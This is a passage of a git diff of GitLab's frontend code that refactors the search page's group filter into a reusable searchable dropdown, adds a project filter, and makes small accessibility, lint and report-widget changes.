- '%d day until tags are automatically removed',
- '%d days until tags are automatically removed',
- variable,
- );
-
-export const keepNTranslationGenerator = variable =>
- n__('%d tag per image name', '%d tags per image name', variable);
-
-export const optionLabelGenerator = (collection, translationFn) =>
- collection.map(option => ({
- ...option,
- label: translationFn(option.variable),
- }));
-
-export const formOptionsGenerator = () => {
- return {
- olderThan: optionLabelGenerator(OLDER_THAN_OPTIONS, olderThanTranslationGenerator),
- cadence: CADENCE_OPTIONS,
- keepN: optionLabelGenerator(KEEP_N_OPTIONS, keepNTranslationGenerator),
- };
-};
diff --git a/app/assets/javascripts/related_issues/components/issue_token.vue b/app/assets/javascripts/related_issues/components/issue_token.vue
index 7f12c10f6a1..9665ed173b9 100644
--- a/app/assets/javascripts/related_issues/components/issue_token.vue
+++ b/app/assets/javascripts/related_issues/components/issue_token.vue
@@ -114,7 +114,7 @@ export default {
class="js-issue-token-remove-button"
@click="onRemoveRequest"
>
- <gl-icon name="close" aria-hidden="true" />
+ <gl-icon name="close" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/related_issues/components/related_issuable_input.vue b/app/assets/javascripts/related_issues/components/related_issuable_input.vue
index 9809b228308..b05a873e939 100644
--- a/app/assets/javascripts/related_issues/components/related_issuable_input.vue
+++ b/app/assets/javascripts/related_issues/components/related_issuable_input.vue
@@ -97,7 +97,9 @@ export default {
},
beforeDestroy() {
const $input = $(this.$refs.input);
+ // eslint-disable-next-line @gitlab/no-global-event-off
$input.off('shown-issues.atwho');
+ // eslint-disable-next-line @gitlab/no-global-event-off
$input.off('hidden-issues.atwho');
$input.off('inserted-issues.atwho', this.onInput);
},
diff --git a/app/assets/javascripts/related_issues/components/related_issues_root.vue b/app/assets/javascripts/related_issues/components/related_issues_root.vue
index 6f68b25b6fb..73ea13ddc40 100644
--- a/app/assets/javascripts/related_issues/components/related_issues_root.vue
+++ b/app/assets/javascripts/related_issues/components/related_issues_root.vue
@@ -204,7 +204,16 @@ export default {
onInput({ untouchedRawReferences, touchedReference }) {
this.store.addPendingReferences(untouchedRawReferences);
- this.inputValue = `${touchedReference}`;
+ this.formatInput(touchedReference);
+ },
+ formatInput(touchedReference = '') {
+ const startsWithNumber = String(touchedReference).match(/^[0-9]/) !== null;
+
+ if (startsWithNumber) {
+ this.inputValue = `#${touchedReference}`;
+ } else {
+ this.inputValue = `${touchedReference}`;
+ }
},
onBlur(newValue) {
this.processAllReferences(newValue);
diff --git a/app/assets/javascripts/reports/components/report_section.vue b/app/assets/javascripts/reports/components/report_section.vue
index f245e2bfd2f..0e9975ea81f 100644
--- a/app/assets/javascripts/reports/components/report_section.vue
+++ b/app/assets/javascripts/reports/components/report_section.vue
@@ -3,7 +3,7 @@ import { __ } from '~/locale';
import StatusIcon from '~/vue_merge_request_widget/components/mr_widget_status_icon.vue';
import Popover from '~/vue_shared/components/help_popover.vue';
import IssuesList from './issues_list.vue';
-import { status } from '../constants';
+import { status, SLOT_SUCCESS, SLOT_LOADING, SLOT_ERROR } from '../constants';
export default {
name: 'ReportSection',
@@ -152,12 +152,12 @@ export default {
},
slotName() {
if (this.isSuccess) {
- return 'success';
+ return SLOT_SUCCESS;
} else if (this.isLoading) {
- return 'loading';
+ return SLOT_LOADING;
}
- return 'error';
+ return SLOT_ERROR;
},
},
methods: {
diff --git a/app/assets/javascripts/reports/components/test_issue_body.vue b/app/assets/javascripts/reports/components/test_issue_body.vue
index 5e9a5b03543..69b0dcf881d 100644
--- a/app/assets/javascripts/reports/components/test_issue_body.vue
+++ b/app/assets/javascripts/reports/components/test_issue_body.vue
@@ -1,13 +1,13 @@
<script>
import { mapActions } from 'vuex';
-import { GlBadge } from '@gitlab/ui';
-import { n__ } from '~/locale';
+import { GlBadge, GlSprintf } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'TestIssueBody',
components: {
GlBadge,
+ GlSprintf,
},
mixins: [glFeatureFlagsMixin()],
props: {
@@ -28,18 +28,15 @@ export default {
},
computed: {
showRecentFailures() {
- return this.glFeatures.testFailureHistory && this.issue.recent_failures;
+ return (
+ this.glFeatures.testFailureHistory &&
+ this.issue.recent_failures?.count &&
+ this.issue.recent_failures?.base_branch
+ );
},
},
methods: {
...mapActions(['openModal']),
- recentFailuresText(count) {
- return n__(
- 'Failed %d time in the last 14 days',
- 'Failed %d times in the last 14 days',
- count,
- );
- },
},
};
</script>
@@ -53,7 +50,18 @@ export default {
>
<gl-badge v-if="isNew" variant="danger" class="gl-mr-2">{{ s__('New') }}</gl-badge>
<gl-badge v-if="showRecentFailures" variant="warning" class="gl-mr-2">
- {{ recentFailuresText(issue.recent_failures) }}
+ <gl-sprintf
+ :message="
+ n__(
+ 'Reports|Failed %{count} time in %{base_branch} in the last 14 days',
+ 'Reports|Failed %{count} times in %{base_branch} in the last 14 days',
+ issue.recent_failures.count,
+ )
+ "
+ >
+ <template #count>{{ issue.recent_failures.count }}</template>
+ <template #base_branch>{{ issue.recent_failures.base_branch }}</template>
+ </gl-sprintf>
</gl-badge>
{{ issue.name }}
</button>
diff --git a/app/assets/javascripts/reports/constants.js b/app/assets/javascripts/reports/constants.js
index b3905cbfcfb..9250bfd7678 100644
--- a/app/assets/javascripts/reports/constants.js
+++ b/app/assets/javascripts/reports/constants.js
@@ -18,10 +18,18 @@ export const ICON_SUCCESS = 'success';
export const ICON_NOTFOUND = 'notfound';
export const status = {
- LOADING: 'LOADING',
- ERROR: 'ERROR',
- SUCCESS: 'SUCCESS',
+ LOADING,
+ ERROR,
+ SUCCESS,
};
export const ACCESSIBILITY_ISSUE_ERROR = 'error';
export const ACCESSIBILITY_ISSUE_WARNING = 'warning';
+
+/**
+ * Slot names for the ReportSection component, corresponding to the success,
+ * loading and error statuses.
+ */
+export const SLOT_SUCCESS = 'success';
+export const SLOT_LOADING = 'loading';
+export const SLOT_ERROR = 'error';
diff --git a/app/assets/javascripts/reports/store/utils.js b/app/assets/javascripts/reports/store/utils.js
index fd6f4933cfa..2d32daee9d0 100644
--- a/app/assets/javascripts/reports/store/utils.js
+++ b/app/assets/javascripts/reports/store/utils.js
@@ -62,12 +62,8 @@ export const recentFailuresTextBuilder = (summary = {}) => {
}
return sprintf(
n__(
- s__(
- 'Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days',
- ),
- s__(
- 'Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days',
- ),
+ 'Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days',
+ 'Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days',
recentlyFailed,
),
{ recentlyFailed, failed },
@@ -83,7 +79,10 @@ export const countRecentlyFailedTests = subject => {
return (
[report.new_failures, report.existing_failures, report.resolved_failures]
// only count tests which have failed more than once
- .map(failureArray => failureArray.filter(failure => failure.recent_failures > 1).length)
+ .map(
+ failureArray =>
+ failureArray.filter(failure => failure.recent_failures?.count > 1).length,
+ )
.reduce((total, count) => total + count, 0)
);
})
diff --git a/app/assets/javascripts/repository/components/preview/index.vue b/app/assets/javascripts/repository/components/preview/index.vue
index c9c5aa37645..e2c3f3b81ee 100644
--- a/app/assets/javascripts/repository/components/preview/index.vue
+++ b/app/assets/javascripts/repository/components/preview/index.vue
@@ -52,7 +52,7 @@ export default {
<article class="file-holder limited-width-container readme-holder">
<div class="js-file-title file-title-flex-parent">
<div class="file-header-content">
- <gl-icon name="doc-text" aria-hidden="true" />
+ <gl-icon name="doc-text" />
<gl-link :href="blob.webPath">
<strong>{{ blob.name }}</strong>
</gl-link>
diff --git a/app/assets/javascripts/right_sidebar.js b/app/assets/javascripts/right_sidebar.js
index 87c8aa541d8..6f43f837374 100644
--- a/app/assets/javascripts/right_sidebar.js
+++ b/app/assets/javascripts/right_sidebar.js
@@ -23,8 +23,11 @@ Sidebar.initialize = function() {
Sidebar.prototype.removeListeners = function() {
this.sidebar.off('click', '.sidebar-collapsed-icon');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.sidebar.off('hidden.gl.dropdown');
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.dropdown').off('loading.gl.dropdown');
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.dropdown').off('loaded.gl.dropdown');
$(document).off('click', '.js-sidebar-toggle');
};
diff --git a/app/assets/javascripts/search/group_filter/components/group_filter.vue b/app/assets/javascripts/search/group_filter/components/group_filter.vue
deleted file mode 100644
index 4b7963c5187..00000000000
--- a/app/assets/javascripts/search/group_filter/components/group_filter.vue
+++ /dev/null
@@ -1,124 +0,0 @@
-<script>
-import {
- GlDropdown,
- GlDropdownItem,
- GlSearchBoxByType,
- GlLoadingIcon,
- GlIcon,
- GlSkeletonLoader,
- GlTooltipDirective,
-} from '@gitlab/ui';
-import { mapState, mapActions } from 'vuex';
-import { isEmpty } from 'lodash';
-import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
-import { ANY_GROUP, GROUP_QUERY_PARAM, PROJECT_QUERY_PARAM } from '../constants';
-
-export default {
- name: 'GroupFilter',
- components: {
- GlDropdown,
- GlDropdownItem,
- GlSearchBoxByType,
- GlLoadingIcon,
- GlIcon,
- GlSkeletonLoader,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- initialGroup: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- },
- data() {
- return {
- groupSearch: '',
- };
- },
- computed: {
- ...mapState(['groups', 'fetchingGroups']),
- selectedGroup: {
- get() {
- return isEmpty(this.initialGroup) ? ANY_GROUP : this.initialGroup;
- },
- set(group) {
- visitUrl(setUrlParams({ [GROUP_QUERY_PARAM]: group.id, [PROJECT_QUERY_PARAM]: null }));
- },
- },
- },
- methods: {
- ...mapActions(['fetchGroups']),
- isGroupSelected(group) {
- return group.id === this.selectedGroup.id;
- },
- handleGroupChange(group) {
- this.selectedGroup = group;
- },
- },
- ANY_GROUP,
-};
-</script>
-
-<template>
- <gl-dropdown
- ref="groupFilter"
- class="gl-w-full"
- menu-class="gl-w-full!"
- toggle-class="gl-text-truncate gl-reset-line-height!"
- :header-text="__('Filter results by group')"
- @show="fetchGroups(groupSearch)"
- >
- <template #button-content>
- <span class="dropdown-toggle-text gl-flex-grow-1 gl-text-truncate">
- {{ selectedGroup.name }}
- </span>
- <gl-loading-icon v-if="fetchingGroups" inline class="mr-2" />
- <gl-icon
- v-if="!isGroupSelected($options.ANY_GROUP)"
- v-gl-tooltip
- name="clear"
- :title="__('Clear')"
- class="gl-text-gray-200! gl-hover-text-blue-800!"
- @click.stop="handleGroupChange($options.ANY_GROUP)"
- />
- <gl-icon name="chevron-down" />
- </template>
- <div class="gl-sticky gl-top-0 gl-z-index-1 gl-bg-white">
- <gl-search-box-by-type
- v-model="groupSearch"
- class="m-2"
- :debounce="500"
- @input="fetchGroups"
- />
- <gl-dropdown-item
- class="gl-border-b-solid gl-border-b-gray-100 gl-border-b-1 gl-pb-2! gl-mb-2"
- :is-check-item="true"
- :is-checked="isGroupSelected($options.ANY_GROUP)"
- @click="handleGroupChange($options.ANY_GROUP)"
- >
- {{ $options.ANY_GROUP.name }}
- </gl-dropdown-item>
- </div>
- <div v-if="!fetchingGroups">
- <gl-dropdown-item
- v-for="group in groups"
- :key="group.id"
- :is-check-item="true"
- :is-checked="isGroupSelected(group)"
- @click="handleGroupChange(group)"
- >
- {{ group.full_name }}
- </gl-dropdown-item>
- </div>
- <div v-if="fetchingGroups" class="mx-3 mt-2">
- <gl-skeleton-loader :height="100">
- <rect y="0" width="90%" height="20" rx="4" />
- <rect y="40" width="70%" height="20" rx="4" />
- <rect y="80" width="80%" height="20" rx="4" />
- </gl-skeleton-loader>
- </div>
- </gl-dropdown>
-</template>
diff --git a/app/assets/javascripts/search/group_filter/constants.js b/app/assets/javascripts/search/group_filter/constants.js
deleted file mode 100644
index 9bd92eaa130..00000000000
--- a/app/assets/javascripts/search/group_filter/constants.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import { __ } from '~/locale';
-
-export const ANY_GROUP = Object.freeze({
- id: null,
- name: __('Any'),
-});
-
-export const GROUP_QUERY_PARAM = 'group_id';
-
-export const PROJECT_QUERY_PARAM = 'project_id';
diff --git a/app/assets/javascripts/search/group_filter/index.js b/app/assets/javascripts/search/group_filter/index.js
deleted file mode 100644
index 9b009bc0305..00000000000
--- a/app/assets/javascripts/search/group_filter/index.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import Vue from 'vue';
-import Translate from '~/vue_shared/translate';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import GroupFilter from './components/group_filter.vue';
-
-Vue.use(Translate);
-
-export default store => {
- let initialGroup;
- const el = document.getElementById('js-search-group-dropdown');
-
- const { initialGroupData } = el.dataset;
-
- initialGroup = JSON.parse(initialGroupData);
- initialGroup = convertObjectPropsToCamelCase(initialGroup, { deep: true });
-
- return new Vue({
- el,
- store,
- render(createElement) {
- return createElement(GroupFilter, {
- props: {
- initialGroup,
- },
- });
- },
- });
-};
diff --git a/app/assets/javascripts/search/index.js b/app/assets/javascripts/search/index.js
index 781a564d077..d2bb1ccfc44 100644
--- a/app/assets/javascripts/search/index.js
+++ b/app/assets/javascripts/search/index.js
@@ -1,7 +1,7 @@
import { queryToObject } from '~/lib/utils/url_utility';
import createStore from './store';
+import { initTopbar } from './topbar';
import { initSidebar } from './sidebar';
-import initGroupFilter from './group_filter';
export const initSearchApp = () => {
// Similar to url_utility.decodeUrlParameter
@@ -9,6 +9,6 @@ export const initSearchApp = () => {
const sanitizedSearch = window.location.search.replace(/\+/g, '%20');
const store = createStore({ query: queryToObject(sanitizedSearch) });
+ initTopbar(store);
initSidebar(store);
- initGroupFilter(store);
};
diff --git a/app/assets/javascripts/search/sidebar/components/app.vue b/app/assets/javascripts/search/sidebar/components/app.vue
index aa11b2025f2..e233d18b716 100644
--- a/app/assets/javascripts/search/sidebar/components/app.vue
+++ b/app/assets/javascripts/search/sidebar/components/app.vue
@@ -26,7 +26,7 @@ export default {
<template>
<form
- class="gl-display-flex gl-flex-direction-column col-md-3 gl-mr-4 gl-mb-6 gl-mt-5"
+ class="search-sidebar gl-display-flex gl-flex-direction-column gl-mr-4 gl-mb-6 gl-mt-5"
@submit.prevent="applyQuery"
>
<status-filter />
diff --git a/app/assets/javascripts/search/store/actions.js b/app/assets/javascripts/search/store/actions.js
index 447278aa223..082beb5930d 100644
--- a/app/assets/javascripts/search/store/actions.js
+++ b/app/assets/javascripts/search/store/actions.js
@@ -16,6 +16,28 @@ export const fetchGroups = ({ commit }, search) => {
});
};
+export const fetchProjects = ({ commit, state }, search) => {
+ commit(types.REQUEST_PROJECTS);
+ const groupId = state.query?.group_id;
+ const callback = data => {
+ if (data) {
+ commit(types.RECEIVE_PROJECTS_SUCCESS, data);
+ } else {
+ createFlash({ message: __('There was an error fetching projects') });
+ commit(types.RECEIVE_PROJECTS_ERROR);
+ }
+ };
+
+ if (groupId) {
+ Api.groupProjects(groupId, search, {}, callback);
+ } else {
+ // The .catch() is due to the API method not handling a rejection properly
+ Api.projects(search, { order_by: 'id' }, callback).catch(() => {
+ callback();
+ });
+ }
+};
+
export const setQuery = ({ commit }, { key, value }) => {
commit(types.SET_QUERY, { key, value });
};
diff --git a/app/assets/javascripts/search/store/mutation_types.js b/app/assets/javascripts/search/store/mutation_types.js
index 2482621d4d7..a6430b53c4f 100644
--- a/app/assets/javascripts/search/store/mutation_types.js
+++ b/app/assets/javascripts/search/store/mutation_types.js
@@ -2,4 +2,8 @@ export const REQUEST_GROUPS = 'REQUEST_GROUPS';
export const RECEIVE_GROUPS_SUCCESS = 'RECEIVE_GROUPS_SUCCESS';
export const RECEIVE_GROUPS_ERROR = 'RECEIVE_GROUPS_ERROR';
+export const REQUEST_PROJECTS = 'REQUEST_PROJECTS';
+export const RECEIVE_PROJECTS_SUCCESS = 'RECEIVE_PROJECTS_SUCCESS';
+export const RECEIVE_PROJECTS_ERROR = 'RECEIVE_PROJECTS_ERROR';
+
export const SET_QUERY = 'SET_QUERY';
diff --git a/app/assets/javascripts/search/store/mutations.js b/app/assets/javascripts/search/store/mutations.js
index e57850b870e..91d7cf66c8f 100644
--- a/app/assets/javascripts/search/store/mutations.js
+++ b/app/assets/javascripts/search/store/mutations.js
@@ -12,6 +12,17 @@ export default {
state.fetchingGroups = false;
state.groups = [];
},
+ [types.REQUEST_PROJECTS](state) {
+ state.fetchingProjects = true;
+ },
+ [types.RECEIVE_PROJECTS_SUCCESS](state, data) {
+ state.fetchingProjects = false;
+ state.projects = data;
+ },
+ [types.RECEIVE_PROJECTS_ERROR](state) {
+ state.fetchingProjects = false;
+ state.projects = [];
+ },
[types.SET_QUERY](state, { key, value }) {
state.query[key] = value;
},
diff --git a/app/assets/javascripts/search/store/state.js b/app/assets/javascripts/search/store/state.js
index 70a8aab9998..9a0d61d0b93 100644
--- a/app/assets/javascripts/search/store/state.js
+++ b/app/assets/javascripts/search/store/state.js
@@ -2,5 +2,7 @@ const createState = ({ query }) => ({
query,
groups: [],
fetchingGroups: false,
+ projects: [],
+ fetchingProjects: false,
});
export default createState;
diff --git a/app/assets/javascripts/search/topbar/components/group_filter.vue b/app/assets/javascripts/search/topbar/components/group_filter.vue
new file mode 100644
index 00000000000..fce9ec17d23
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/components/group_filter.vue
@@ -0,0 +1,49 @@
+<script>
+import { mapState, mapActions } from 'vuex';
+import { isEmpty } from 'lodash';
+import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import SearchableDropdown from './searchable_dropdown.vue';
+import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '../constants';
+
+export default {
+ name: 'GroupFilter',
+ components: {
+ SearchableDropdown,
+ },
+ props: {
+ initialData: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ },
+ computed: {
+ ...mapState(['groups', 'fetchingGroups']),
+ selectedGroup() {
+ return isEmpty(this.initialData) ? ANY_OPTION : this.initialData;
+ },
+ },
+ methods: {
+ ...mapActions(['fetchGroups']),
+ handleGroupChange(group) {
+ visitUrl(
+ setUrlParams({ [GROUP_DATA.queryParam]: group.id, [PROJECT_DATA.queryParam]: null }),
+ );
+ },
+ },
+ GROUP_DATA,
+};
+</script>
+
+<template>
+ <searchable-dropdown
+ :header-text="$options.GROUP_DATA.headerText"
+ :selected-display-value="$options.GROUP_DATA.selectedDisplayValue"
+ :items-display-value="$options.GROUP_DATA.itemsDisplayValue"
+ :loading="fetchingGroups"
+ :selected-item="selectedGroup"
+ :items="groups"
+ @search="fetchGroups"
+ @change="handleGroupChange"
+ />
+</template>
diff --git a/app/assets/javascripts/search/topbar/components/project_filter.vue b/app/assets/javascripts/search/topbar/components/project_filter.vue
new file mode 100644
index 00000000000..3f1f3848ac7
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/components/project_filter.vue
@@ -0,0 +1,52 @@
+<script>
+import { mapState, mapActions } from 'vuex';
+import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import SearchableDropdown from './searchable_dropdown.vue';
+import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '../constants';
+
+export default {
+ name: 'ProjectFilter',
+ components: {
+ SearchableDropdown,
+ },
+ props: {
+ initialData: {
+ type: Object,
+ required: false,
+ default: () => null,
+ },
+ },
+ computed: {
+ ...mapState(['projects', 'fetchingProjects']),
+ selectedProject() {
+ return this.initialData ? this.initialData : ANY_OPTION;
+ },
+ },
+ methods: {
+ ...mapActions(['fetchProjects']),
+ handleProjectChange(project) {
+ // This determines if we need to update the group filter or not
+ const queryParams = {
+ ...(project.namespace_id && { [GROUP_DATA.queryParam]: project.namespace_id }),
+ [PROJECT_DATA.queryParam]: project.id,
+ };
+
+ visitUrl(setUrlParams(queryParams));
+ },
+ },
+ PROJECT_DATA,
+};
+</script>
+
+<template>
+ <searchable-dropdown
+ :header-text="$options.PROJECT_DATA.headerText"
+ :selected-display-value="$options.PROJECT_DATA.selectedDisplayValue"
+ :items-display-value="$options.PROJECT_DATA.itemsDisplayValue"
+ :loading="fetchingProjects"
+ :selected-item="selectedProject"
+ :items="projects"
+ @search="fetchProjects"
+ @change="handleProjectChange"
+ />
+</template>
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
new file mode 100644
index 00000000000..14577fd7d7a
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
@@ -0,0 +1,144 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByType,
+ GlLoadingIcon,
+ GlIcon,
+ GlButton,
+ GlSkeletonLoader,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+
+import { ANY_OPTION } from '../constants';
+
+export default {
+ name: 'SearchableDropdown',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByType,
+ GlLoadingIcon,
+ GlIcon,
+ GlButton,
+ GlSkeletonLoader,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ headerText: {
+ type: String,
+ required: false,
+ default: "__('Filter')",
+ },
+ selectedDisplayValue: {
+ type: String,
+ required: false,
+ default: 'name',
+ },
+ itemsDisplayValue: {
+ type: String,
+ required: false,
+ default: 'name',
+ },
+ loading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ selectedItem: {
+ type: Object,
+ required: true,
+ },
+ items: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
+ data() {
+ return {
+ searchText: '',
+ };
+ },
+ methods: {
+ isSelected(selected) {
+ return selected.id === this.selectedItem.id;
+ },
+ openDropdown() {
+ this.$emit('search', this.searchText);
+ },
+ resetDropdown() {
+ this.$emit('change', ANY_OPTION);
+ },
+ },
+ ANY_OPTION,
+};
+</script>
+
+<template>
+ <gl-dropdown
+ class="gl-w-full"
+ menu-class="gl-w-full!"
+ toggle-class="gl-text-truncate"
+ :header-text="headerText"
+ @show="$emit('search', searchText)"
+ @shown="$refs.searchBox.focusInput()"
+ >
+ <template #button-content>
+ <span class="dropdown-toggle-text gl-flex-grow-1 gl-text-truncate">
+ {{ selectedItem[selectedDisplayValue] }}
+ </span>
+ <gl-loading-icon v-if="loading" inline class="gl-mr-3" />
+ <gl-button
+ v-if="!isSelected($options.ANY_OPTION)"
+ v-gl-tooltip
+ name="clear"
+ category="tertiary"
+ :title="__('Clear')"
+ class="gl-p-0! gl-mr-2"
+ @keydown.enter.stop="resetDropdown"
+ @click.stop="resetDropdown"
+ >
+ <gl-icon name="clear" class="gl-text-gray-200! gl-hover-text-blue-800!" />
+ </gl-button>
+ <gl-icon name="chevron-down" />
+ </template>
+ <div class="gl-sticky gl-top-0 gl-z-index-1 gl-bg-white">
+ <gl-search-box-by-type
+ ref="searchBox"
+ v-model="searchText"
+ class="gl-m-3"
+ :debounce="500"
+ @input="$emit('search', searchText)"
+ />
+ <gl-dropdown-item
+ class="gl-border-b-solid gl-border-b-gray-100 gl-border-b-1 gl-pb-2! gl-mb-2"
+ :is-check-item="true"
+ :is-checked="isSelected($options.ANY_OPTION)"
+ @click="resetDropdown"
+ >
+ {{ $options.ANY_OPTION.name }}
+ </gl-dropdown-item>
+ </div>
+ <div v-if="!loading">
+ <gl-dropdown-item
+ v-for="item in items"
+ :key="item.id"
+ :is-check-item="true"
+ :is-checked="isSelected(item)"
+ @click="$emit('change', item)"
+ >
+ {{ item[itemsDisplayValue] }}
+ </gl-dropdown-item>
+ </div>
+ <div v-if="loading" class="gl-mx-4 gl-mt-3">
+ <gl-skeleton-loader :height="100">
+ <rect y="0" width="90%" height="20" rx="4" />
+ <rect y="40" width="70%" height="20" rx="4" />
+ <rect y="80" width="80%" height="20" rx="4" />
+ </gl-skeleton-loader>
+ </div>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/search/topbar/constants.js b/app/assets/javascripts/search/topbar/constants.js
new file mode 100644
index 00000000000..3944b2c8374
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/constants.js
@@ -0,0 +1,21 @@
+import { __ } from '~/locale';
+
+export const ANY_OPTION = Object.freeze({
+ id: null,
+ name: __('Any'),
+ name_with_namespace: __('Any'),
+});
+
+export const GROUP_DATA = {
+ headerText: __('Filter results by group'),
+ queryParam: 'group_id',
+ selectedDisplayValue: 'name',
+ itemsDisplayValue: 'full_name',
+};
+
+export const PROJECT_DATA = {
+ headerText: __('Filter results by project'),
+ queryParam: 'project_id',
+ selectedDisplayValue: 'name_with_namespace',
+ itemsDisplayValue: 'name_with_namespace',
+};
diff --git a/app/assets/javascripts/search/topbar/index.js b/app/assets/javascripts/search/topbar/index.js
new file mode 100644
index 00000000000..024544148a0
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/index.js
@@ -0,0 +1,44 @@
+import Vue from 'vue';
+import Translate from '~/vue_shared/translate';
+import GroupFilter from './components/group_filter.vue';
+import ProjectFilter from './components/project_filter.vue';
+
+Vue.use(Translate);
+
+const mountSearchableDropdown = (store, { id, component }) => {
+ const el = document.getElementById(id);
+
+ if (!el) {
+ return false;
+ }
+
+ let { initialData } = el.dataset;
+
+ initialData = JSON.parse(initialData);
+
+ return new Vue({
+ el,
+ store,
+ render(createElement) {
+ return createElement(component, {
+ props: {
+ initialData,
+ },
+ });
+ },
+ });
+};
+
+const searchableDropdowns = [
+ {
+ id: 'js-search-group-dropdown',
+ component: GroupFilter,
+ },
+ {
+ id: 'js-search-project-dropdown',
+ component: ProjectFilter,
+ },
+];
+
+export const initTopbar = store =>
+ searchableDropdowns.map(dropdown => mountSearchableDropdown(store, dropdown));
diff --git a/app/assets/javascripts/search_autocomplete.js b/app/assets/javascripts/search_autocomplete.js
index 7073b9ca12d..97674348436 100644
--- a/app/assets/javascripts/search_autocomplete.js
+++ b/app/assets/javascripts/search_autocomplete.js
@@ -250,6 +250,10 @@ export class SearchAutocomplete {
url: `${mrPath}/?assignee_username=${userName}`,
},
{
+ text: s__("SearchAutocomplete|Merge requests that I'm a reviewer"),
+ url: `${mrPath}/?reviewer_username=${userName}`,
+ },
+ {
text: s__("SearchAutocomplete|Merge requests I've created"),
url: `${mrPath}/?author_username=${userName}`,
},
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index 30e4e92d0cc..f2685dfbcdb 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -1,8 +1,9 @@
<script>
/* eslint-disable vue/no-v-html */
import $ from 'jquery';
+import Vue from 'vue';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
-import { GlModal, GlTooltipDirective, GlIcon, GlFormCheckbox } from '@gitlab/ui';
+import { GlToast, GlModal, GlTooltipDirective, GlIcon, GlFormCheckbox } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { __, s__ } from '~/locale';
import Api from '~/api';
@@ -16,6 +17,8 @@ export const AVAILABILITY_STATUS = {
NOT_SET: 'not_set',
};
+Vue.use(GlToast);
+
export default {
components: {
GlIcon,
diff --git a/app/assets/javascripts/settings_panels.js b/app/assets/javascripts/settings_panels.js
index d22aca35e09..18160421136 100644
--- a/app/assets/javascripts/settings_panels.js
+++ b/app/assets/javascripts/settings_panels.js
@@ -3,6 +3,7 @@ import { __ } from './locale';
function expandSection($section) {
$section.find('.js-settings-toggle:not(.js-settings-toggle-trigger-only)').text(__('Collapse'));
+ // eslint-disable-next-line @gitlab/no-global-event-off
$section
.find('.settings-content')
.off('scroll.expandSection')
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar.vue
index 00f1339d7f2..da9ff407faf 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar.vue
@@ -1,7 +1,11 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
export default {
+ components: {
+ GlIcon,
+ },
props: {
user: {
type: Object,
@@ -46,6 +50,6 @@ export default {
class="avatar avatar-inline m-0"
data-qa-selector="avatar_image"
/>
- <i v-if="hasMergeIcon" aria-hidden="true" class="fa fa-exclamation-triangle merge-icon"></i>
+ <gl-icon v-if="hasMergeIcon" name="warning-solid" aria-hidden="true" class="merge-icon" />
</span>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
index 5f8ba844218..26e88523abb 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
@@ -66,7 +66,7 @@ export default {
href="#"
role="button"
>
- <gl-icon aria-hidden="true" data-hidden="true" name="chevron-double-lg-right" :size="12" />
+ <gl-icon data-hidden="true" name="chevron-double-lg-right" :size="12" />
</a>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
index eabd4d88d52..362ca4ab917 100644
--- a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
@@ -112,11 +112,12 @@ export default {
/>
<button v-if="hasMoreThanTwoAssignees" class="btn-link" type="button">
<span class="avatar-counter sidebar-avatar-counter"> {{ sidebarAvatarCounter }} </span>
- <i
+ <gl-icon
v-if="isMergeRequest && !allAssigneesCanMerge"
